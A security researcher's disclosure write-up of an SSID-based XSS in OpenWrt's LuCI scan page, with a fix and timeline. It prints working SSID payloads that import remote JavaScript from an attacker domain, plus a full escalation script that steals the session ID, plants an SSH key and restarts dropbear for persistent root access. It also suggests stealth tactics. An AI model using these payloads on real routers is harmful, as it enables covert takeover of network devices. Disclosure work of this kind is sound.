Lately, I’ve been experimenting with unusual XSS vectors. XSS (cross-site scripting) allows an attacker to execute arbitrary JavaScript in another user’s browser session. Sometimes the result is merely entertaining, sometimes the result is:
Dear Sasha, excellent (and terrible) find!
A crafted wifi SSID could lead to an XSS in the OpenWRT admin interface, if an admin opened the nearby wifi scan while the SSID was active. Given full access to the admin interface, I could then escalate this to a remote root shell.
The XSS vulnerability
OpenWRT’s LuCI web interface includes a wireless scan page that lets administrators scan for nearby networks and displays a table of visible access points, including their SSIDs.
The vulnerability is in wireless.js in the luci-mod-network package.
The SSID ultimately passes into innerHTML. No sanitisation is applied
at any point in the data path.
SSID can consist of up to 32 arbitrary bytes. The characters needed for HTML injection are all printable ASCII and pass through the entire stack without modification.
This is not the first SSID injection in LuCI. CVE-2019-25015 identified the same class of bug in the wireless Join flow (Network → Wireless → Scan → Join). This finding affects the scan result list itself, which requires less interaction with the malicious network, already being visible in a scan.
The attack requires:
- A malicious access point, broadcasting beacon frames that are received by the OpenWRT device
- An administrator to open the wireless scan page at the same time
It does not require the administrator to connect to the malicious network, or even click on it. Visibility in the scan is sufficient. No authentication details of the attacked network are required. The attacker does not need any credentials for a device or wifi network.
For further refinement, a cheap device left behind broadcasting malicious SSIDs would also work, waiting passively for an admin to open the scan page. Directional antennas could increase the physical attack range, as the communication is one way. And intentionally disrupting the network may make it more likely for an admin to open the scan page, to see if perhaps someone else started using the same channel.
The attack window exists only while the malicious SSIDs are in range. Once they disappear, the risk is gone: the attack requires an admin opening the page while they were active.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, score 8.6.
Overcoming length limits with two SSIDs
The XSS payload in an SSID is constrained by the 32-byte SSID length limit,
and <script> tags won’t execute when added in innerHTML. That leaves little
room for a useful payload.
My typical payload would be something like:
SSID: <img src=x onerror=import(//domain/x.js)>
But that’s too long, unless your payload URL is just two bytes.
A solution is to use two access points broadcasting simultaneously.
SSID 1: <a id=s href=//domain/x.js>
SSID 2: <img src=x onerror=import(s)>

As the devices I had on hand only support broadcasting one SSID, I set up one on a laptop, and the second on a T-Deck running Marauder.
When the admin opens Network → Wireless → Scan, both SSIDs are injected into the DOM.
The anchor element is registered as window.s via HTML named access. The onerror
handler fires and import(s) resolves to import("https://domain/x.js"). The external
module loads and executes arbitrary JavaScript in the authenticated admin session, with no
further length restriction. As a bonus, the exploited instance has told the attacker’s
domain its external IP address.
Escalation to root
Because LuCI runs with full administrative privileges, the injected JavaScript gains full control over the router’s configuration interface. Here’s a video of how this can turn into remote root access:
In addition to what you see in the video, my nearby T-Deck was advertising
the SSID <img src=x onerror=import(s)>.
My loaded JavaScript extracts the session ID from the page and uses it to make authenticated calls to the ubus API:
uci/setto clear the dropbear interface restriction and enable gateway portsfile/writeto plant an SSH public key in/etc/dropbear/authorized_keysuci/commitanduci/applyservice/restarton dropbear to pick up the changes
fetch('/cgi-bin/luci/')
.then(r => r.text())
.then(async html => {
const sid = html.match(/sessionid['":\s]+([a-f0-9]{32})/)?.[1];
const call = (obj, method, params) => fetch('/ubus', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'call',
params: [sid, obj, method, params] })
}).then(r => r.json());
await call('uci', 'set', { config: 'dropbear', section: '@dropbear[0]',
values: { Interface: '', GatewayPorts: 'on', PasswordAuth: 'on' } });
await call('uci', 'commit', { config: 'dropbear' });
await call('file', 'write', {
path: '/etc/dropbear/authorized_keys',
mode: 384,
data: 'ssh-ed25519 AAAA...\n'
});
await call('uci', 'apply', {});
await call('service', 'restart', { name: 'dropbear' });
});

The end result: persistent root SSH access to the router, established the moment the admin opens the scan page, with no visible indication to the admin that anything happened. Once this payload has executed, the wifi SSIDs and the scan page are no longer needed: remote root access will remain open.
I verified this myself on a factory-default OpenWrt 25.12.0 installation on a FRITZ!Repeater 1750E.
Fix
The fix in OpenWRT replaces the unsafe innerHTML rendering with proper text node
insertion. This was committed within one day from my report.
This is fixed in OpenWrt 24.10.6 and OpenWrt 25.12.1.
Downstream
Other distributions shipping luci-mod-network unmodified may also be affected.
This may include GL.iNet or Turris OS, but I have not verified this myself.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-12 | Initial report sent to OpenWRT security team |
| 2026-03-13 | Received confirmation from OpenWRT, fix committed and tested by me |
| 2026-03-19 | Advisory published, new OpenWRT versions released |
Working with the OpenWRT team on this was easy and pleasant.
Other vendors
The default firmware on my FRITZ!Repeater 1750E is not vulnerable. My MikroTik access points are also handling it fine:

Disclosure regarding one vendor is pending.
A broader pattern
I’ve been finding multiple interesting XSS injections through unusual network vectors. Several others have been fixed, and some are pending disclosure coordination. More to come :)
References
- GHSA-vvj6-7362-pjrw
- CVE-2026-32721
- CVE-2019-25015 (prior SSID injection in LuCI Join flow)
- Commit introducing the vulnerability
I am an independent developer & consultant focused on internet infrastructure and internet standards. I occasionally find security issues by accident while poking at infrastructure. Find me on Mastodon or Bluesky.
Fritz repeater photo by Blingoo, CC-BY-SA, via Wikimedia Commons